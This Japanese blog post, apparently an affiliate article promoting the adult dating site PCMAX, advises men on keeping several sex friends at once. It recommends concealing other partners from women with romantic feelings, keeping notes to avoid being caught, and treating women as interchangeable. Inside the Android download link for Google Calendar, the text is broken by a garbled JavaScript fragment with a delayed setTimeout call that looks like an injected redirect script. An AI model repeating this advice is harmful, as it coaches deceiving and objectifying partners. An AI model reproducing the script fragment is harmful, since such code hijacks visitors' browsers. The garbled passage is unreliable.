【複数のセフレを作ろう】関係を維持するポイント7つとメリットとは

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「1人じゃもの足りない…複数人のセフレが欲しい」
「1人もセフレがいないけど、たくさんのセフレが欲しい」
「複数人のセフレとの関係を維持するのが難しい…」
「ワンナイトで終わってしまう…セフレとしてキープしたい」
「いろんな女の子と毎日セックスしたい…」

こう考えているみなさんのためにここでは「複数人のセフレ」との関係を維持するメリット・デメリットと具体的な方法を紹介していきます。

2人までならなんとか定期的にあってセックスして、良好な関係を維持できますが、3人以上になるとそれぞれのセフレとの関係を維持するのは難しいですよね。

僕も今では3人しかセフレはいませんが、若い頃は多くて同時に6、7人のセフレがいた時期がありました。その時期のセフレがみんな最高にエロくて「どうすればこの6、7人のセフレとの関係を維持できるのか」と悩みました。

その時に感じた複数人のセフレをキープできるポイントを7つにまとめました。それぞれなるべく詳しく紹介するので、最後まで読んでくれたら嬉しいです。

複数のセフレをキープする4つのメリットとは

複数のセフレをキープする4つのメリット
1.いろんな女の子といろんなセックスできる
2.急にセックスしたくなっても誰か捕まる
3.ひとりの子に執着することがなくなりモテる
4.セフレの関係を断ち切りやすくなる

まず7つのポイントを紹介する前に、複数のセフレをキープする4つのメリットを紹介します。このメリットを把握して、複数人のセフレを作るモチベーションを上げてください。

「今ひとりセフレがいるけど、なんか飽きてきた…」なんて思っている人は必見です。

また、今セフレを増やしている人もぜひ読んでみてください。どんどんセフレの人数が多くなってしまうと、どうしても「めんどくさいな」と感じてしまうでしょう。でもちょっと待ってください。複数のセフレがいることはメリットが大きいんです。そのメリットを4つに分けて説明していきます。

1.いろんな女の子といろんなセックスできる

いろいろなタイプの女の子といつでもセックスできるのは1番のメリットでしょう。セフレが1人だと、どうしてもその人とのセックスに飽きてしまいます。

でも複数人のセフレがいれば、1回1回のセックスが新鮮に感じられます。今日はドMの人妻とのセックス、明日は女子大生のうぶな感じのセックス、明後日は痴女な看護師と濃厚セックス……。

好きな時に色々なタイプの女の子とセックスできるのは、普通の男からすればかなり羨ましい身分です。毎回同じAVでオナニーする人はいないですよね。

AV感覚でリアルのセックスができるのは本当に最高です。しかも気分によってそれが選べるわけですから…。まるで抜くAVを選ぶような感覚でセフレとセックスできるのは、まさに男の憧れです。

また、それぞれの相手とのマンネリ化も防ぐこともできます。1人のセフレと長く続くとどうしても飽きてしまいます。でもセフレが複数いることで、毎回違った人と違ったセックスができるのです。セックスって相手ありきなので、相手が変われば楽しみ方も変わりますよね。

だからマンネリ化を防止することができます。毎回毎回違った楽しさや興奮を味わうことができるのはメリットでしょう。

2.急にセックスしたくなっても誰か捕まる

セックスって急にしたくなりませんか?男のムラムラって突然やってきます。

– スマホを見ていてたまたまエロい画像や動画を見てしまった時
– 飲み会から帰り道で1人でいるのが無償に寂しくなった時
– とにかく何もやることがない暇な日

こんな時セフレが複数人いれば、誰かしら予定が合う子がいるので誘えばセックスできるのです。例えばAちゃんに「今は友達と遊んでいるから無理かも…」と断られても、Bちゃんを誘えば空いているかもしれません。

Bちゃんに断られればCちゃんに…。とセフレの人数が多ければ多いほど、セックスしたいと思ったときにできる可能性が上がるのです。

セフレが1人だけの場合と比べれば、あなたが「セックスしたい」と思った時にできる確率は格段に違うでしょう。その唯一のセフレに断られてしまえば、あとはオナニーでその欲求を処理するか、風俗にいくしかないのです…。

これはセフレが複数人いる男の特権、メリットでしょう。

3.ひとりの子に執着することがなくなりモテる

複数人のセフレを作れば、ひとりの女の子に執着することがなくなり、結果さらにモテるようになります。

ひとりの女の子に執着することを恋愛工学では「非モテコミット」と呼びます。恋愛工学とは作家・藤沢数希さんや藤沢さんを尊敬するプレイヤーが検証を重ね、恋愛を科学の域にまで高めたものです。

この恋愛工学では「非モテコミット」は悪い恋愛の戦略として紹介されています。僕の愛読書『恋愛工学の教科書』では「非モテコミット」を以下のように説明しています。

非モテコミットを一言で説明すると、「欲求不満な男が少しでも女の子から優しくされると、『君しかいない』と思いつめ、必死にアプローチするマインド」です。

※参照
恋愛工学の教科書(p66)

僕の感覚では世の中の8割の男がこの非モテコミットの状態でしょう。でもセフレを複数人作ることで、この非モテコミット状態を抜け出すことができます。

結果モテるようになるのです。1人の女の子へ執着することがなくなり、男としての余裕が生まれ、その余裕が女の子にも伝わりモテるのです。よくメディアで女の子が「余裕がある男性が好きです」なんて言っているのを見かけませんか。

複数のセフレを作ることで自分に自信が付きます。自分に自信がある男はモテます。その結果、余裕が生まれてさらにモテるようになるのです。またモテる男はさらにモテるようになる、モテスパイラルに突入する。モテモテになることは、セフレを複数作ることのメリットといえるでしょう。

4.セフレの関係を断ち切りやすくなる

複数人のセフレがいることで、関係に飽きたセフレ、面倒になったセフレとの関係を断ち切りやすくなるのもメリットです。複数人いるので、ひとりと関係を切っても別のセフレがいるので、セックスできなくなる心配はないからです。

もしセフレが1人しかいなかったら、そのセフレと関係を切ってしまったら定期的にセックスができなくなってしまいます。これは嫌ですよね。だからセフレを複数人作ることが理想なんです。

セフレ関係ってすごく曖昧な関係です。僕も色々経験してきましたが、長続きすることは稀です。相手の子が恋愛感情をもってしまって束縛するようになってきたり、関係が自然消滅してしまったり、相手の子と連絡が取れなくなったり…。

特に相手の子が、あなたのことを好きになってしまうと面倒なことが増えます。相手の子は好きになってしまっているので、あなたが他の子とセックスすることを当然嫌がります。それが束縛につながるのです。

セフレ関係って気軽な関係であることがメリットですが、束縛されてしまってはそのメリットが失われてしまいます。だから、束縛してくる女の子との関係はすぐに断ち切れたほうが良い。すぐに関係を断ち切るには複数人のセフレを作ることがベストなんです。

複数人のセフレが早く欲しい人は…

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本当は教えたくないですが、これを読んでくれている人には特別に、僕がいつもセフレを作るときに使っているサービスを紹介します。ずばりPCMAX(R18)です。

PCMAXは会員数が1,500万人を超え、女の子の会員もたくさんいます。しかもただの女の子が登録しているわけではありません。出会いを求めている子、セフレを欲しがっている子、ワンナイトを楽しみたい子がたくさん登録しているのです。

だから僕もこれだけたくさんのセフレが作れるのです。ちなみにPCMAXを使った2020年の実績は、お持ち帰りした女の子22人。その中でセフレになった女の子10人です。

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複数のセフレをキープする4つのデメリットとは

複数のセフレをキープする4つのデメリット
1.人数が増えれば比例して出費がかさむ
2.日程調整がめんどくさい
3.気を遣いすぎて疲れる
4.性病にかかるリスクが上がる

物事には良い面と悪い面が必ず存在します。複数人のセフレを作るにもメリットがある反面、上のようなデメリットがあるのです。

ここからは複数人のセフレを作る、もしくはキープする4つのデメリットを紹介していきます。デメリットを予め理解しておくことで、それに対して対策が取れるのです。

反対にデメリットを理解してないと、トラブルに巻き込まれたり、セフレの関係が楽しくなくなったり、貯金がなくなったりと、あなたにとって望ましくないことが起こってしまいます。

4つのデメリットを理解した上で、色々なタイプのエロい子をセフレにして楽しんでください。

1.人数が増えれば比例して出費がかさむ

シンプルにセフレの人数が増えれば出費がかさみます。これは最も大きなデメリットでしょう。

セフレと遊ぶ時ってどうしてもお金がかかります。ご飯をおごってあげたり、ホテル代を割り勘したりと人それぞれだと思いますが、すべてセフレの子が払ってくれる人は少ないです。

まずは、1人のセフレと遊ぶ時にかかるお金を整理します。

1人のセフレと遊ぶときにかかるお金
– 食事・飲み代:2人で10,000円(普通の居酒屋の想定)
– ラブホテル代:13,000円(都内で宿泊を想定)
– その他雑費(交通費、カフェ代、カラオケ代…etc):3,000円
合計:26,000円

どちかがひとり暮らしをしていて、セックスするときは家を使っている人は「ラブホテル代」はかかりませんが、すべて男が出すことを想定すると、毎回約26,000円かかっているのです。

例えば、2週間に1回セフレと会うとすると、1人のセフレにかかる金額は月に「52,000円」です……。めちゃくちゃ高いですね。(すべて男が払うことも少ないし、毎回雑費がかかることもないので、少し多めに見積もっていますが…)

1人のセフレでも毎月52,000円です。当然、人数が増えれば比例して、かかるお金も増えていきます。

セフレが2人:月にかかるお金は104,000円
セフレが3人:月にかかるお金は156,000円
セフレが4人:月にかかるお金は208,000円
セフレが5人:月にかかるお金は260,000円

これ以上は考えたくないですね。対策として、遊ぶときにかかるコストを削減することです。例えば、食事や飲み代について。

これは毎回10,000円を男が払う想定で算出していますが、大衆居酒屋やファミレスで済ませてしまえば、6,000〜7,000円ぐらいで抑えることができます。

もしくは、相手の子から少しもらってもいいかもしれません。お会計が6,500円なら、「2,000円だけいい?」と。

また、「ラブホテル代」も削減できます。ひとり暮らしを始めるとか、都内ではなく少し都心から離れたラブホテルに泊まるとか、レンタルルームを使うとか。

セフレと遊ぶときのコストを削減する方法について詳しくまとめた記事があるので、もっと知りたい人は下の記事も合わせて確認してください。

2.日程調整がめんどくさい

普段は会社員として働いている人にとって、複数人との日程調整がめんどくさいのはデメリットです。

自由な時間が多い大学生にとってはそこまで苦になりませんが、社会人には手間です。セフレが2人ならまだ、ストレスなくLINEでメッセージや電話をして、会う日を調整できます。

でも3人、4人と増えてくると途端に日程調整とかやり取りが面倒になります。僕は会社員としていますが、基本平日はセフレと遊ぶ気になれません。

だからセフレと遊ぶのは金曜日の夜か、土曜日の夜だけ。日曜日は次の日が月曜日なので、基本セフレとは遊ばないです。

そう考えると1週間でセフレと遊べるのは2日しかない。しかもセフレ側にも当然予定があるので、それを合わせるのがめんどうに感じてしまいます。

「前々からAちゃんと金曜日の夜に約束してたけど、Bちゃんは金曜日しか空いてない…。」
「じゃあAちゃんとの約束をリスケして来週にするか…。Bちゃんの方が可愛いし。」

と、日程をそれぞれのセフレと調整するのが面倒になることはデメリットでしょう。この対策としては、下の「複数のセフレとの関係を維持する7つのポイント」の「1.スケジュール管理をしっかりする」で説明しています。

3.気を遣いすぎて疲れる

それぞれのセフレに気を遣いすぎて疲れてしまうこともデメリットです。結果ひとりの時間が減っていき、消耗してしまいます。

「ひとりの時間なんてまったくいらない」という人なら問題ありませんが、僕は大事にしているので、セフレが4人、5人いた時期はすごい疲れました。

上で説明したように、LINEでメッセージのやり取りや電話するとき、日程調整するとき、会話しているときなど。自分ではそこまで気を遣っていないつもりでも、実は配慮しているのです。

セフレが4人とか5人いるとひとりの時間が恋しくなります…。特に気を遣うのが、誰とどんな話をしたか。それぞれのセフレに、別のセフレがいることを打ち明けていない人は特に疲れます。

セフレが2人なら問題ないですが、4人、5人、6人と増えてくると、誰とどんな話をしたのかわからなくなります。誰とどんな話をしたかわからなくなると、別のセフレの存在がバレてしまう危険があります。

結果「それ前も言ってたね」とか「それなんの話?」と言われてしまうことが増えます。セフレが複数人いても、会うのは1対1です。会っている間はその子を楽しませてあげようと考えてしまう人は気疲れしてしまうことがデメリットでしょう。

対策としては、面倒ですが誰とどんな話をしたのか日記のようにメモをとること。そして、セフレと会う時はそのメモを必ず事前に確認してください。

メモを確認することで、どんな話をしたのか、どんなセックスをしたのか思い出せます。結果、同じ話をすることや、別のセフレと間違えることを避けることができます。

4.性病にかかるリスクが上がる

セフレの人数が増えれば性病にかかってしまうリスクも上がります。これはデメリットと言えるでしょう。

相手の子があなたとしかセックスしてないのであれば問題ありませんが、複数人とセックスしている可能性があります。貞操観念が低い子とセフレになると、性病にかかるリスクは一気にあがるでしょう。

特にコンドームをつける習慣がない人は要注意。性病とは、医学的には「性感染症」と言われています。

感染源は体液である精液、膣分泌液、血液の中に含まれいて、セックスをすることで主に人体の粘膜(陰茎、膣、肛門、尿路)を介して感染します。

粘膜を通して感染するので、お互いの粘膜が触れ合う生挿入は、どうしても感染率が高くなってしまうのです。

性器ヘルペス、淋菌感染症、尖圭コンジローマ、梅毒、性器クラミジア感染症など様々な種類が存在します。症状が重いものから軽いものが存在します。いずれにせよ、性病への感染は嬉しいものではないので、避けたいところでしょう。

※参考
知っていますか?STDのこと -性感染症のはなし-|シー・アール・シー

セフレと生でセックスするリスクについては下の記事でも紹介しています。気になった人はぜひ読んでみてください。

対策としてはコンドームをつけること。コンドームは避妊率が約98%と言われていて、ほぼ避妊できます。また相手の子に低用量ピルを飲んでもらうことでも避妊できます。

※参考
低用量ピルを飲んでいたら避妊する必要はないの?医師が解説します。 | CLINIC FOR

複数のセフレとの関係を維持する7つのポイント

ここからは複数人のセフレとの関係を維持するポイントを紹介します。3人以上セフレがいる人は7つとも覚えてください。気づいたらセフレの1人と連絡が取れなくなっていたなんてことが、今までありませんでしたか。

そんな人は複数人のセフレとの付き合い方を改めましょう。ちょっと変えるだけで、それぞれのセフレと良好な関係を維持できるようになります。

複数のセフレとの関係を維持する7つのポイント
1.スケジュール管理をしっかりする
2.セフレの女の子のタイプにばらつきをもたせる
3.まめな連絡を怠らない
4.複数人のセフレがいることを人に言わない
5.セフレ関係であることを理解してもらう
6.セックスしてない時間も大切にする
7.マンネリ化しないよう注意する

1.スケジュール管理をしっかりする

2人であればスケジュール管理もそれほど苦にならないが、3人以上になると誰といつ、どこで約束したのかごちゃごちゃになることがあります。

最悪の場合、同じ日に2人のセフレを自宅に呼んでしまって、セフレ同士が鉢合わせなんてことになりかねません。

いくらセフレでも相手に不快な思いをさせてしまうことになるので、避けなければいけません。

そのためにスケジュール管理をしっかりしましょう。おすすめはスケジュール管理アプリをスマホに入れて活用することです。

僕のおすすめアプリは「Googleカレンダー」です。使い方も簡単で見た目もシンプルなため使いやすいです。ダウンロードは下のリンクから無料でできます。

セフレと会う予定だけでなく、その他の予定(仕事や友達との予定)もすべてこのGoogleカレンダーで管理するのが良いです。

どこが空いていて、どこに予定があるのか、このアプリを見るだけでわかるので、スケジュール管理に困ることはありません。

《iOSアプリ》
Googleカレンダーダウンロード

《Androidアプリ》
dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tore/apps/details?id=com.google.android.calendar&hl=ja” target=”_blank” rel=”noopener noreferrer”>Googleカレンダーダウンロード

2.セフレの女の子のタイプにばらつきをもたせる

セフレの女の子のタイプにばらつきをもたせると、複数のセフレとの関係を旅行に維持できます。タイプにばらつきをもたせるとは、職業や年齢層、性格などの点から同じようなタイプは避けること指します。

なぜなら同じような職業で、同世代のセフレが複数人いた場合、休みなどがかぶってしまい、まんべんなく複数のセフレと会うことができなくなってしまいます。

例えば5人セフレがいて、全員土日休みで平日は忙しくて会えない場合、それぞれのセフレとは月に1回程度しか遊べなくなる計算です。

でもそれぞれタイプが違うと、休みが土日のセフレ、休みが不定期なセフレ、学生のセフレ、人妻のセフレなど、休みや都合のつく時間帯が違うので、まんべんなく短いスパンで複数人のセフレと会うことができます。

恋人と同様、定期的に会ってセックスすることが良好な関係を維持することにおいて最も大切です。

3.まめな連絡を怠らない

複数人とのセフレ関係を維持するには、それぞれのセフレにまめに連絡することが大切です。セフレをキープするには、会うことの次に大切なのが「連絡を絶たないこと」です。

セフレは恋人ではないので、連絡が少なくなると自然消滅してしまう可能性が高い。こっちが連絡しないと、相手が「彼女ができたんじゃないか」と考え、気を使って連絡してこないこともあります。

またセフレがかまってちゃんだった場合、少し連絡を送らないだけで、すねて向こうから連絡をしてこなくなります。電話やLINEはまめに入れてあげるよう心がけてください。

人妻や彼氏がいる子の場合は連絡は最小限に
ただ、もし相手の子にが旦那や彼氏がいるなら要注意です。頻度の高い連絡は迷惑になるかもしれません。人妻や彼氏がいる子は、そのパートナーの目を盗んで連絡したり、会ってくれたりします。あまりにも高頻度でメッセージを送ったり、電話してしまうとバレてしまう可能性があります。相手の子はパートナーにバレることは望んでいないので、人妻や彼氏持ちの子との連絡は最小限に抑えることがポイントです。

4.複数人のセフレがいることを人に言わない

複数人のセフレがいることを、友達や職場の同僚などに言わないことも大切です。噂話はどこから広がるかわからないので、例え信頼している友達や同僚でも公言しないでください。

噂が広がってしまい、意外なつながりからセフレ同士がその事実を知ってしまう可能性もあります。セフレにセフレが複数人いると知られてしまうのはマナー違反です。いくらセフレでも一緒にいる時に別のセフレの話をされたら嫌なように守らなければいけないマナーがあります。

5.セフレ関係であることを理解してもらう

「セフレ関係である」ことは、それぞれのセフレに理解してもらうことも複数人をキープするポイントです。

これ結構難しくて、人によっては隠す必要もあります…。この「人によって」の部分が難しいポイントです。

特にあなたに対して恋愛感情を抱いていて、関係が続いている人には言わない方が良いでしょう。なぜなら、必ずと言っていいほどトラブルにつながるからです。

人には所有欲があり、好きになると「自分だけのものにしたい」とその欲が増幅します。その所有欲が、セフレ関係にヒビをいれる原因になってしまいます。

恋愛感情のあるセフレに、もし他にセフレがいることがバレたら、浮気ぐらいの感覚で怒られたり、悲しませてしまうことになるでしょう。こうして関係が壊れていくのです。

できればセフレ関係になる前にきっぱり「セフレ」であることの了承をもらうのが良いです。恋愛感情を持たれてしまうと、後々面倒なことになる可能性もあるので要注意です。

反対に「セフレ関係」と割り切ってくれる子には、複数いることを伝えたほうが良いでしょう。ひょっとしたら相手も複数人セフレがいることを打ち明けてくるかもしれません。

複数人のセフレがいることを伝えた方が、気楽に関係を続けることができます。特に人妻や彼氏がいる人なら迷わず打ち明けましょう。

人妻や彼氏がいる人は、「セフレ関係」を理解していて遊びのつもりでセックスをしています。念のため、相手に恋愛感情がないことを確かめた方がよいですが、ほぼその可能性は低いので、安心して打ち明けてみてください。

相手の子が恋愛感情があるのか、ないのか判断できない場合はしたの「言動一覧」を参考にしてみてください。

相手が恋愛感情を持っているときの言動
– 毎日連絡を取りたがる(メッセージや電話など)
– 週末や休みの日は「会いたい」と言ってくる
– 「何してるの?」と現状をしりたがる
– 「好きな人いるの?」など恋愛の話をしたがる
– 連休やイベントごとに遊びたがる(クリスマス、年末年始、ハロウィン、GW)
– 旅行や遠出したがる

6.セックスしてない時間も大切にする

セフレとはいえ、セックスしてない時間を大切にしてあげることも忘れないでください。これは複数人をキープするときも、1人のセフレをキープする上でも大事なポイントです。

セフレとの関係が長くなると、ただホテルに行ってセックスして解散と、蛋白な付き合いになってしまうこともあります。セックスするだけの関係とは言っても、一緒にいてつまらない人と遊ぼうと思わないですよね。

相手に「一緒にいてもつまらない」と思われてしまえば、距離を置かれて自然消滅してしまいます。あなた良ければそれでも問題ありませんが、仮にお気に入りのセフレだった場合は悲しいでしょう。

セックスするには、必ず前後の時間があります。会ってご飯を一緒に食べる時間、ホテルや自宅でセックスするまでのまったりしている時間、セックスが終わった後など。

このセックスしてない時間を大切にしましょう。特に気をつけたいのは、女の子を楽しませてあげるために「共感すること」「褒めること」を忘れないでください。

この2つを徹底していれば、女の子は「一緒にいて楽しい人」と感じてくれるのです。

7.マンネリ化しないよう注意する

それぞれのセフレとマンネリ化しないよう注意することも、キープする上では大事です。上と似ていますが、セフレの関係が長くなると、そのセフレとのセックスにお互いが飽きてきます。

これ危険信号です。セックスしていても気持ちよくない、楽しくない、癒やされない、など相手の子に感じさせてしまえば、連絡が減り、会ってくれなくなるでしょう。

あなた関係を切りたいセフレなら問題ありませんが、お気に入りのセフレだったり、体の相性が合うセフレなら、続けたいですよね。

マンネリ化しないためにはの方法として下を紹介します。参考にしてください。

セフレに飽きたときの4つの対処法
1.セックスする場所を変えてみる
2.色々なプレイに挑戦してみる
3.複数のセフレを作る
4.今のセフレと別れる

もっと詳しく知りたい人は下の記事で紹介しています。ぜひ合わせて読んでみてください。

複数のセフレをキープして充実したセックスライフを!

いかがでしたか。みなさんはかなり恵まれた男です。普通の男は複数のセフレを作れずに困っているなか、複数のセフレがいることは幸せです。モテル男の代表格ですね。

セフレ関係は短命です。良いセフレが出来たら、できる限り長い期間キープして楽しみたいですよね。ここで紹介した5つのセフレとの関係を維持するポイントを抑えて、今いるエロいセフレとのセックスライフを楽しんでください。陰ながら応援してます!

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